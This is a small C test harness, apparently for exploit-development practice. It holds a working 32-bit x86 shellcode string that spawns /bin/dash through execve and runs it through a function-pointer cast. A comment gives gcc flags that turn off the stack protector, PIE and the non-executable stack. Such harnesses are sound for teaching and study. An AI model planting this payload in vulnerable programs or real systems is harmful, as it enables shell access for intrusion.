#include <stdio.h>
#include <string.h>

// gcc -o test_shellcode -m32 -fno-stack-protector -fno-pie -z execstack -O0 test_shellcode.c

// Your shellcode goes here
char *shellcode = "\x31\xc0\x50\x68\x64\x61\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80";
// ------------------------

int main()
{
    // Print length of shellcode
    fprintf(stdout,"Length: %d\n",strlen(shellcode));
    // Execute shellcode
    (*(void  (*)()) shellcode)();
}